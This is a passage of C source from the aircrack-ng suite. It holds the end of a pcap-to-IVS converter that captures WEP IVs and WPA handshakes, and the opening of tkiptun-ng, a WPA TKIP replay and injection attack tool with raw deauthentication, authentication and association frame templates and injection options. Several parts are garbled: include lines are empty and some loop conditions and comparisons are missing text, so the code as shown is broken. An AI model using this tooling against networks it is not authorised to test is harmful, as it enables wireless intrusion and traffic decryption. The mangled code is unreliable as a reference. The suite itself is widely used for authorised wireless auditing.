ivs2.len -= 6; } if( fwrite( h80211+z, 1, 4, G.f_ivs ) != (size_t) 4 ) { perror( "fwrite(IV iv+idx) failed" ); return( 1 ); } ivs2.len -= 4; if( fwrite( clear, 1, ivs2.len, G.f_ivs ) != (size_t) ivs2.len ) { perror( "fwrite(IV keystream) failed" ); return( 1 ); } } uniqueiv_mark( ap_cur->uiv_root, &h80211[z] ); return IVS; } } z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if( z + 26 > caplen ) return FAILURE; z += 6; //skip LLC header /* check ethertype == EAPOL */ if( h80211[z] == 0x88 && h80211[z + 1] == 0x8E && (h80211[1] & 0x40) != 0x40 ) { z += 2; //skip ethertype if( st_cur == NULL ) return FAILURE; /* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) == 0 ) { memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 ); st_cur->wpa.state = 1; } /* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */ if( z+17+32 > caplen ) return FAILURE; if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) == 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { memcpy( st_cur->wpa.snonce, &h80211[z + 17], 32 ); st_cur->wpa.state |= 2; } } /* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) != 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 ) + h80211[z + 3] + 4; if (st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol_size) || caplen - z < st_cur->wpa.eapol_size) { // ignore packet trying to crash us st_cur->wpa.eapol_size = 0; return 0; } if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 ); st_cur->wpa.state |= 4; } memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 ); memcpy( st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size ); memset( st_cur->wpa.eapol + 81, 0, 16 ); st_cur->wpa.state |= 8; st_cur->wpa.keyver = h80211[z + 6] & 7; if( st_cur->wpa.state == 15) { memcpy( st_cur->wpa.stmac, st_cur->stmac, 6 ); if( G.f_ivs != NULL ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags = 0; ivs2.len = 0; ivs2.len= sizeof(struct WPA_hdsk); ivs2.flags |= IVS2_WPA; if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 ) { ivs2.flags |= IVS2_BSSID; ivs2.len += 6; memcpy( G.prev_bssid, ap_cur->bssid, 6 ); } if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } if( ivs2.flags & IVS2_BSSID ) { if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } ivs2.len -= 6; } if( fwrite( &(st_cur->wpa), 1, sizeof(struct WPA_hdsk), G.f_ivs ) != (size_t) sizeof(struct WPA_hdsk) ) { perror( "fwrite(IV wpa_hdsk) failed" ); return( 1 ); } return WPA; } } } } } return( 0 ); } int main( int argc, char *argv[] ) { time_t tt; int n, unused, ret; FILE *f_in; unsigned long nbr; unsigned long nbivs; unsigned char *h80211; unsigned char bssid_cur[6]; unsigned char bssid_prv[6]; unsigned char buffer[65536]; struct pcap_file_header pfh; struct pcap_pkthdr pkh; struct ivs2_filehdr fivs2; if( argc < 4 ) { usage(0); return( 1 ); } if (strcmp(argv[1],"--merge")==0) { return merge(argc,argv); } if (strcmp(argv[1],"--convert")) { usage(1); return( 1 ); } memset( bssid_cur, 0, 6 ); memset( bssid_prv, 0, 6 ); /* check the input pcap file */ printf( "Opening %s\n", argv[2] ); if( ( f_in = fopen( argv[2], "rb" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( pfh ); if( fread( &pfh, 1, n, f_in ) != (size_t) n ) { perror( "fread(pcap file header) failed" ); return( 1 ); } if( pfh.magic != TCPDUMP_MAGIC && pfh.magic != TCPDUMP_CIGAM ) { printf( "\"%s\" isn't a pcap file (expected " "TCPDUMP_MAGIC).\n", argv[2] ); return( 1 ); } if( pfh.magic == TCPDUMP_CIGAM ) SWAP32( pfh.linktype ); if( pfh.linktype != LINKTYPE_IEEE802_11 && pfh.linktype != LINKTYPE_PRISM_HEADER && pfh.linktype != LINKTYPE_RADIOTAP_HDR && pfh.linktype != LINKTYPE_PPI_HDR ) { printf( "\"%s\" isn't a regular 802.11 " "(wireless) capture.\n", argv[2] ); return( 1 ); } /* create the output ivs file */ printf( "Creating %s\n", argv[3] ); if( ( G.f_ivs = fopen( argv[3], "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } fivs2.version = IVS2_VERSION; unused = fwrite( IVS2_MAGIC, 4, 1, G.f_ivs ); unused = fwrite( &fivs2, sizeof(struct ivs2_filehdr), 1, G.f_ivs ); nbr = 0; tt = time( NULL ) - 1; nbivs = 0; while( 1 ) { if( time( NULL ) - tt > 0 ) { printf( "\33[KRead %ld packets...\r", nbr ); fflush( stdout ); tt = time( NULL ); } /* read one packet */ n = sizeof( pkh ); if( fread( &pkh, 1, n, f_in ) != (size_t) n ) break; if( pfh.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } n = pkh.caplen; if( n <= 0 || n > 65535 ) { printf( "Corrupted file? Invalid packet length: %d.\n", n ); return( 1 ); } if( fread( buffer, 1, n, f_in ) != (size_t) n ) break; ++nbr; h80211 = buffer; /* remove any prism/radiotap header */ if( pfh.linktype == LINKTYPE_PRISM_HEADER ) { if( h80211[7] == 0x40 ) n = 64; else { n = *(int *)( h80211 + 4 ); if( pfh.magic == TCPDUMP_CIGAM ) SWAP32( n ); } if( n < 8 || n >= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } if( pfh.linktype == LINKTYPE_RADIOTAP_HDR ) { n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } if( pfh.linktype == LINKTYPE_PPI_HDR ) { /* Remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) pkh.caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } ret = dump_add_packet(h80211, pkh.caplen); if(ret == IVS) ++nbivs; } fclose( f_in ); fclose( G.f_ivs ); printf( "\33[2KRead %ld packets.\n", nbr ); if ( nbivs > 0 ) printf( "Written %ld IVs.\n", nbivs); else { remove ( argv[3] ); puts("No IVs written"); } return( 0 ); } aircrack-ng-1.2-beta3/src/tkiptun-ng.c0000644000000000000000000040151312313366351016271 0ustar rootroot/* * 802.11 WPA replay & injection attacks * * Copyright (C) 2008, 2009 Martin Beck * * WEP decryption attack (chopchop) developed by KoreK * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #if defined(linux) #include #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "version.h" #include "pcap.h" #include "osdep/osdep.h" #include "crypto.h" #include "common.h" #include "eapol.h" #define RTC_RESOLUTION 8192 #define REQUESTS 30 #define MAX_APS 20 #define NEW_IV 1 #define RETRY 2 #define ABORT 3 #define DEAUTH_REQ \ "\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB" \ "\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00" #define AUTH_REQ \ "\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00" #define ASSOC_REQ \ "\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00" #define NULL_DATA \ "\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B" #define RTS \ "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" #define RATES \ "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C" #define PROBE_REQ \ "\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00" #define RATE_NUM 12 #define RATE_1M 1000000 #define RATE_2M 2000000 #define RATE_5_5M 5500000 #define RATE_11M 11000000 #define RATE_6M 6000000 #define RATE_9M 9000000 #define RATE_12M 12000000 #define RATE_18M 18000000 #define RATE_24M 24000000 #define RATE_36M 36000000 #define RATE_48M 48000000 #define RATE_54M 54000000 #define DEFAULT_MIC_FAILURE_INTERVAL 60 static uchar ZERO[32] = "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00"; int bitrates[RATE_NUM]={RATE_1M, RATE_2M, RATE_5_5M, RATE_6M, RATE_9M, RATE_11M, RATE_12M, RATE_18M, RATE_24M, RATE_36M, RATE_48M, RATE_54M}; extern int maccmp(unsigned char *mac1, unsigned char *mac2); extern unsigned char * getmac(char * macAddress, int strict, unsigned char * mac); extern int check_crc_buf( unsigned char *buf, int len ); extern const unsigned long int crc_tbl[256]; extern const unsigned char crc_chop_tbl[256][4]; extern int hexStringToHex(char* in, int length, unsigned char* out); char usage[] = "\n" " %s - (C) 2008-2013 Thomas d\'Otreppe\n" " http://www.aircrack-ng.org\n" "\n" " usage: tkiptun-ng \n" "\n" " Filter options:\n" "\n" " -d dmac : MAC address, Destination\n" " -s smac : MAC address, Source\n" " -m len : minimum packet length (default: 80) \n" " -n len : maximum packet length (default: 80)\n" " -t tods : frame control, To DS bit\n" " -f fromds : frame control, From DS bit\n" " -D : disable AP detection\n" " -Z : select packets manually\n" "\n" " Replay options:\n" "\n" " -x nbpps : number of packets per second\n" " -a bssid : set Access Point MAC address\n" " -c dmac : set Destination MAC address\n" " -h smac : set Source MAC address\n" " -e essid : set target AP SSID\n" " -M sec : MIC error timout in seconds [60]\n" "\n" " Debug options:\n" "\n" " -K prga : keystream for continuation\n" " -y file : keystream-file for continuation\n" " -j : inject FromDS packets\n" " -P pmk : pmk for verification/vuln testing\n" " -p psk : psk to calculate pmk with essid\n" "\n" " source options:\n" "\n" " -i iface : capture packets from this interface\n" " -r file : extract packets from this pcap file\n" "\n" " --help : Displays this usage screen\n" "\n"; struct options { unsigned char f_bssid[6]; unsigned char f_dmac[6]; unsigned char f_smac[6]; int f_minlen; int f_maxlen; int f_minlen_set; int f_maxlen_set; int f_type; int f_subtype; int f_tods; int f_fromds; int f_iswep; FILE *f_ivs; /* output ivs file */ int r_nbpps; int r_fctrl; unsigned char r_bssid[6]; unsigned char r_dmac[6]; unsigned char r_smac[6]; unsigned char r_apmac[6]; unsigned char r_dip[4]; unsigned char r_sip[4]; char r_essid[33]; int r_fromdsinj; char r_smac_set; char ip_out[16]; //16 for 15 chars + \x00 char ip_in[16]; int port_out; int port_in; char *iface_out; char *s_face; char *s_file; uchar *prga; int a_mode; int a_count; int a_delay; int ringbuffer; int ghost; int prgalen; int delay; int npackets; int fast; int bittest; int nodetect; unsigned char oldkeystream[2048]; /* user-defined old keystream */ int oldkeystreamlen; /* user-defined old keystream length */ char wpa_essid[256]; /* essid used for calculating the pmk out of the psk */ char psk[128]; /* shared passphrase among the clients */ uchar pmk[128]; /* pmk derived from the essid and psk */ uchar ptk[80]; /* ptk calculated from all pieces captured in the handshake */ uchar ip_cli[4]; uchar ip_ap[4]; int got_ptk; int got_pmk; int got_psk; int got_mic_fromds; int got_mic_tods; int got_ip_ap; int got_ip_client; struct WPA_hdsk wpa; /* valid WPA handshake data */ struct WPA_ST_info wpa_sta; /* used to calculate the pmk */ time_t wpa_time; /* time when the wpa handshake arrived */ unsigned char *chopped_from_plain; /* chopped plaintext packet from the AP */ unsigned char *chopped_to_plain; /* chopped plaintext packet to the AP */ unsigned char *chopped_from_prga; /* chopped keystream from the AP */ unsigned char *chopped_to_prga; /* chopped keystream to the AP */ int chopped_from_plain_len; int chopped_to_plain_len; int chopped_from_prga_len; int chopped_to_prga_len; struct timeval last_mic_failure; /* timestamp of last mic failure */ int mic_failure_interval; /* time between allowed mic failures */ } opt; struct devices { int fd_in, arptype_in; int fd_out, arptype_out; int fd_rtc; unsigned char mac_in[6]; unsigned char mac_out[6]; int is_wlanng; int is_hostap; int is_madwifi; int is_madwifing; int is_bcm43xx; FILE *f_cap_in; struct pcap_file_header pfh_in; } dev; static struct wif *_wi_in, *_wi_out; struct ARP_req { unsigned char *buf; int hdrlen; int len; }; struct APt { unsigned char set; unsigned char found; unsigned char len; unsigned char essid[255]; unsigned char bssid[6]; unsigned char chan; unsigned int ping[REQUESTS]; int pwr[REQUESTS]; }; struct APt ap[MAX_APS]; unsigned long nb_pkt_sent; unsigned char h80211[4096]; unsigned char tmpbuf[4096]; unsigned char srcbuf[4096]; char strbuf[512]; uchar ska_auth1[] = "\xb0\x00\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\xb0\x01\x01\x00\x01\x00\x00\x00"; uchar ska_auth3[4096] = "\xb0\x40\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\xc0\x01"; int ctrl_c, alarmed; char * iwpriv; void sighandler( int signum ) { if( signum == SIGINT ) ctrl_c++; if( signum == SIGALRM ) alarmed++; } int reset_ifaces() { //close interfaces if(_wi_in != _wi_out) { if(_wi_in) { wi_close(_wi_in); _wi_in = NULL; } if(_wi_out) { wi_close(_wi_out); _wi_out = NULL; } } else { if(_wi_out) { wi_close(_wi_out); _wi_out = NULL; _wi_in = NULL; } } /* open the replay interface */ _wi_out = wi_open(opt.iface_out); if (!_wi_out) return 1; dev.fd_out = wi_fd(_wi_out); /* open the packet source */ if( opt.s_face != NULL ) { _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); wi_get_mac(_wi_in, dev.mac_in); } else { _wi_in = _wi_out; dev.fd_in = dev.fd_out; /* XXX */ dev.arptype_in = dev.arptype_out; wi_get_mac(_wi_in, dev.mac_in); } wi_get_mac(_wi_out, dev.mac_out); return 0; } int set_bitrate(struct wif *wi, int rate) { int i, newrate; if( wi_set_rate(wi, rate) ) return 1; // if( reset_ifaces() ) // return 1; //Workaround for buggy drivers (rt73) that do not accept 5.5M, but 5M instead if (rate == 5500000 && wi_get_rate(wi) != 5500000) { if( wi_set_rate(wi, 5000000) ) return 1; } newrate = wi_get_rate(wi); for(i=0; i0 ) { if(bitrates[i-1] >= newrate) { printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n", (rate/1000000.0), (wi_get_rate(wi)/1000000.0)); return 1; } } if( i length ) return 0; if(!(packet[1] & 0x40)) //not encrypted { z += 6; //skip LLC header /* check ethertype == EAPOL */ if( packet[z] == 0x88 && packet[z + 1] == 0x8E && (packet[1] & 0x40) != 0x40 ) { if(opt.wpa.state != 7 || time(NULL) - opt.wpa_time > 1) { z += 2; //skip ethertype /* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */ if( ( packet[z + 6] & 0x08 ) != 0 && ( packet[z + 6] & 0x40 ) == 0 && ( packet[z + 6] & 0x80 ) != 0 && ( packet[z + 5] & 0x01 ) == 0 ) { memcpy( opt.wpa.anonce, &packet[z + 17], 32 ); opt.wpa.state = 1; } /* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */ if( z+17+32 > length ) return 0; if( ( packet[z + 6] & 0x08 ) != 0 && ( packet[z + 6] & 0x40 ) == 0 && ( packet[z + 6] & 0x80 ) == 0 && ( packet[z + 5] & 0x01 ) != 0 ) { if( memcmp( &packet[z + 17], ZERO, 32 ) != 0 ) { memcpy( opt.wpa.snonce, &packet[z + 17], 32 ); opt.wpa.state |= 2; } if( (opt.wpa.state & 4) != 4 ) { opt.wpa.eapol_size = ( packet[z + 2] << 8 ) + packet[z + 3] + 4; if (opt.wpa.eapol_size > sizeof(opt.wpa.eapol) || length - z < opt.wpa.eapol_size) { // ignore packet trying to crash us opt.wpa.eapol_size = 0; return 0; } memcpy( opt.wpa.keymic, &packet[z + 81], 16 ); memcpy( opt.wpa.eapol, &packet[z], opt.wpa.eapol_size ); memset( opt.wpa.eapol + 81, 0, 16 ); opt.wpa.state |= 4; opt.wpa.keyver = packet[z + 6] & 7; } } /* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */ if( ( packet[z + 6] & 0x08 ) != 0 && ( packet[z + 6] & 0x40 ) != 0 && ( packet[z + 6] & 0x80 ) != 0 && ( packet[z + 5] & 0x01 ) != 0 ) { if( memcmp( &packet[z + 17], ZERO, 32 ) != 0 ) { memcpy( opt.wpa.anonce, &packet[z + 17], 32 ); opt.wpa.state |= 1; } if( (opt.wpa.state & 4) != 4 ) { opt.wpa.eapol_size = ( packet[z + 2] << 8 ) + packet[z + 3] + 4; if (opt.wpa.eapol_size > sizeof(opt.wpa.eapol) || length - z < opt.wpa.eapol_size) { // ignore packet trying to crash us opt.wpa.eapol_size = 0; return 0; } memcpy( opt.wpa.keymic, &packet[z + 81], 16 ); memcpy( opt.wpa.eapol, &packet[z], opt.wpa.eapol_size ); memset( opt.wpa.eapol + 81, 0, 16 ); opt.wpa.state |= 4; opt.wpa.keyver = packet[z + 6] & 7; } } if( opt.wpa.state == 7) { memcpy( opt.wpa.stmac, opt.r_smac, 6 ); PCT; printf("WPA handshake: %02X:%02X:%02X:%02X:%02X:%02X captured\n", opt.r_bssid[0], opt.r_bssid[1], opt.r_bssid[2], opt.r_bssid[3], opt.r_bssid[4], opt.r_bssid[5]); opt.wpa_time = time(NULL); if( opt.f_ivs != NULL ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags = 0; ivs2.len = 0; ivs2.len= sizeof(struct WPA_hdsk); ivs2.flags |= IVS2_WPA; ivs2.flags |= IVS2_BSSID; ivs2.len += 6; if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), opt.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } if( ivs2.flags & IVS2_BSSID ) { if( fwrite( opt.r_bssid, 1, 6, opt.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } ivs2.len -= 6; } if( fwrite( &(opt.wpa), 1, sizeof(struct WPA_hdsk), opt.f_ivs ) != (size_t) sizeof(struct WPA_hdsk) ) { perror( "fwrite(IV wpa_hdsk) failed" ); return( 1 ); } } } } } } return 0; } int send_packet(void *buf, size_t count) { struct wif *wi = _wi_out; /* XXX globals suck */ // unsigned char *pkt = (unsigned char*) buf; // if( (count > 24) && (pkt[1] & 0x04) == 0 && (pkt[22] & 0x0F) == 0) // { // pkt[22] += (nb_pkt_sent & 0x0000000F) << 4; // pkt[23] += (nb_pkt_sent & 0x00000FF0) >> 4; // } if (wi_write(wi, buf, count, NULL) == -1) { switch (errno) { case EAGAIN: case ENOBUFS: usleep(10000); return 0; /* XXX not sure I like this... -sorbo */ } perror("wi_write()"); return -1; } nb_pkt_sent++; return 0; } int read_packet(void *buf, size_t count, struct rx_info *ri) { struct wif *wi = _wi_in; /* XXX */ int rc; rc = wi_read(wi, buf, count, ri); if (rc == -1) { switch (errno) { case EAGAIN: return 0; } perror("wi_read()"); return -1; } return rc; } void read_sleep( int usec ) { struct timeval tv, tv2, tv3; int caplen; fd_set rfds; gettimeofday(&tv, NULL); gettimeofday(&tv2, NULL); tv3.tv_sec=0; tv3.tv_usec=10000; while( ((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) < (usec) ) { FD_ZERO( &rfds ); FD_SET( dev.fd_in, &rfds ); if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv3 ) < 0 ) { continue; } if( FD_ISSET( dev.fd_in, &rfds ) ) { caplen = read_packet( h80211, sizeof( h80211 ), NULL ); check_received(h80211, caplen); } usleep(1000); gettimeofday(&tv2, NULL); } } int filter_packet( unsigned char *h80211, int caplen ) { int z, mi_b, mi_s, mi_d, ext=0, qos=0; if(caplen <= 0) return( 1 ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) { qos = 1; /* 802.11e QoS */ z+=2; } if(!qos) return(1); if( (h80211[0] & 0x0C) == 0x08) //if data packet ext = z-24; //how many bytes longer than default ieee80211 header /* check length */ if( caplen-ext < opt.f_minlen || caplen-ext > opt.f_maxlen ) return( 1 ); /* check the frame control bytes */ if( ( h80211[0] & 0x80 ) != 0x80 ) return( 1 ); //no QoS packet if( ( h80211[0] & 0x0C ) != ( opt.f_type << 2 ) && opt.f_type >= 0 ) return( 1 ); if( ( h80211[0] & 0x70 ) != (( opt.f_subtype << 4 ) & 0x70) && //ignore the leading bit (QoS) opt.f_subtype >= 0 ) return( 1 ); if( ( h80211[1] & 0x01 ) != ( opt.f_tods ) && opt.f_tods >= 0 ) return( 1 ); if( ( h80211[1] & 0x02 ) != ( opt.f_fromds << 1 ) && opt.f_fromds >= 0 ) return( 1 ); if( ( h80211[1] & 0x40 ) != ( opt.f_iswep << 6 ) && opt.f_iswep >= 0 ) return( 1 ); /* check the extended IV (TKIP) flag */ // if( opt.f_type == 2 && opt.f_iswep == 1 && // ( h80211[z + 3] & 0x20 ) != 0 ) return( 1 ); /* MAC address checking */ switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; break; default: mi_b = 10; mi_d = 16; mi_s = 24; break; } if( memcmp( opt.f_bssid, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_b, opt.f_bssid, 6 ) != 0 ) return( 1 ); if( memcmp( opt.f_bssid, opt.f_smac, 6) == 0) { if( memcmp( opt.f_smac, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_s, opt.f_smac, 5 ) != 0 ) return( 1 ); } else { if( memcmp( opt.f_smac, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_s, opt.f_smac, 6 ) != 0 ) return( 1 ); } if( memcmp( opt.f_bssid, opt.f_dmac, 6) == 0) { if( memcmp( opt.f_dmac, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_d, opt.f_dmac, 5 ) != 0 ) return( 1 ); } else { if( memcmp( opt.f_dmac, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_d, opt.f_dmac, 6 ) != 0 ) return( 1 ); } /* this one looks good */ return( 0 ); } int wait_for_beacon(uchar *bssid, uchar *capa, char *essid) { int len = 0, chan = 0, taglen = 0, tagtype = 0, pos = 0; uchar pkt_sniff[4096]; struct timeval tv,tv2; char essid2[33]; gettimeofday(&tv, NULL); while (1) { len = 0; while (len < 22) { len = read_packet(pkt_sniff, sizeof(pkt_sniff), NULL); gettimeofday(&tv2, NULL); if(((tv2.tv_sec-tv.tv_sec)*1000000) + (tv2.tv_usec-tv.tv_usec) > 10000*1000) //wait 10sec for beacon frame { return -1; } if(len <= 0) usleep(1000); } if (! memcmp(pkt_sniff, "\x80", 1)) { pos = 0; taglen = 22; //initial value to get the fixed tags parsing started taglen+= 12; //skip fixed tags in frames do { pos += taglen + 2; tagtype = pkt_sniff[pos]; taglen = pkt_sniff[pos+1]; } while(tagtype != 3 && pos < len-2); if(tagtype != 3) continue; if(taglen != 1) continue; if(pos+2+taglen > len) continue; chan = pkt_sniff[pos+2]; if(essid) { pos = 0; taglen = 22; //initial value to get the fixed tags parsing started taglen+= 12; //skip fixed tags in frames do { pos += taglen + 2; tagtype = pkt_sniff[pos]; taglen = pkt_sniff[pos+1]; } while(tagtype != 0 && pos < len-2); if(tagtype != 0) continue; if(taglen <= 1) { if (memcmp(bssid, pkt_sniff+10, 6) == 0) break; else continue; } if(pos+2+taglen > len) continue; if(taglen > 32)taglen = 32; if((pkt_sniff+pos+2)[0] < 32 && memcmp(bssid, pkt_sniff+10, 6) == 0) { break; } /* if bssid is given, copy essid */ if(bssid != NULL && memcmp(bssid, pkt_sniff+10, 6) == 0 && strlen(essid) == 0) { memset(essid, 0, 33); memcpy(essid, pkt_sniff+pos+2, taglen); break; } /* if essid is given, copy bssid AND essid, so we can handle case insensitive arguments */ if(bssid != NULL && memcmp(bssid, NULL_MAC, 6) == 0 && strncasecmp(essid, (char*)pkt_sniff+pos+2, taglen) == 0 && strlen(essid) == (unsigned)taglen) { memset(essid, 0, 33); memcpy(essid, pkt_sniff+pos+2, taglen); memcpy(bssid, pkt_sniff+10, 6); printf("Found BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\" to given ESSID \"%s\".\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], essid); break; } /* if essid and bssid are given, check both */ if(bssid != NULL && memcmp(bssid, pkt_sniff+10, 6) == 0 && strlen(essid) > 0) { memset(essid2, 0, 33); memcpy(essid2, pkt_sniff+pos+2, taglen); if(strncasecmp(essid, essid2, taglen) == 0 && strlen(essid) == (unsigned)taglen) break; else { printf("For the given BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\", there is an ESSID mismatch!\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]); printf("Found ESSID \"%s\" vs. specified ESSID \"%s\"\n", essid2, essid); printf("Using the given one, double check it to be sure its correct!\n"); break; } } } } } if(capa) memcpy(capa, pkt_sniff+34, 2); return chan; } /* if bssid != NULL its looking for a beacon frame */ int attack_check(uchar* bssid, char* essid, uchar* capa, struct wif *wi) { int ap_chan=0, iface_chan=0; iface_chan = wi_get_channel(wi); if(bssid != NULL) { ap_chan = wait_for_beacon(bssid, capa, essid); if(ap_chan < 0) { PCT; printf("No such BSSID available.\n"); return -1; } if(ap_chan != iface_chan) { PCT; printf("%s is on channel %d, but the AP uses channel %d\n", wi_get_ifname(wi), iface_chan, ap_chan); return -1; } } return 0; } int getnet( uchar* capa, int filter, int force) { unsigned char *bssid; if(opt.nodetect) return 0; if(filter) bssid = opt.f_bssid; else bssid = opt.r_bssid; if( memcmp(bssid, NULL_MAC, 6) ) { PCT; printf("Waiting for beacon frame (BSSID: %02X:%02X:%02X:%02X:%02X:%02X) on channel %d\n", bssid[0],bssid[1],bssid[2],bssid[3],bssid[4],bssid[5],wi_get_channel(_wi_in)); } else if(strlen(opt.r_essid) > 0) { PCT; printf("Waiting for beacon frame (ESSID: %s) on channel %d\n", opt.r_essid,wi_get_channel(_wi_in)); } else if(force) { PCT; if(filter) { printf("Please specify at least a BSSID (-b) or an ESSID (-e)\n"); } else { printf("Please specify at least a BSSID (-a) or an ESSID (-e)\n"); } return( 1 ); } else return 0; if( attack_check(bssid, opt.r_essid, capa, _wi_in) != 0) { if(memcmp(bssid, NULL_MAC, 6)) { if( strlen(opt.r_essid) == 0 || opt.r_essid[0] < 32) { printf( "Please specify an ESSID (-e).\n" ); } } if(!memcmp(bssid, NULL_MAC, 6)) { if(strlen(opt.r_essid) > 0) { printf( "Please specify a BSSID (-a).\n" ); } } return( 1 ); } return 0; } int xor_keystream(uchar *ph80211, uchar *keystream, int len) { int i=0; for (i=0; i 0 ) { tr = time( NULL ); printf( "\rRead %ld packets...\r", nb_pkt_read ); fflush( stdout ); } if( opt.s_file == NULL ) { FD_ZERO( &rfds ); FD_SET( dev.fd_in, &rfds ); tv.tv_sec = 1; tv.tv_usec = 0; if( select( dev.fd_in + 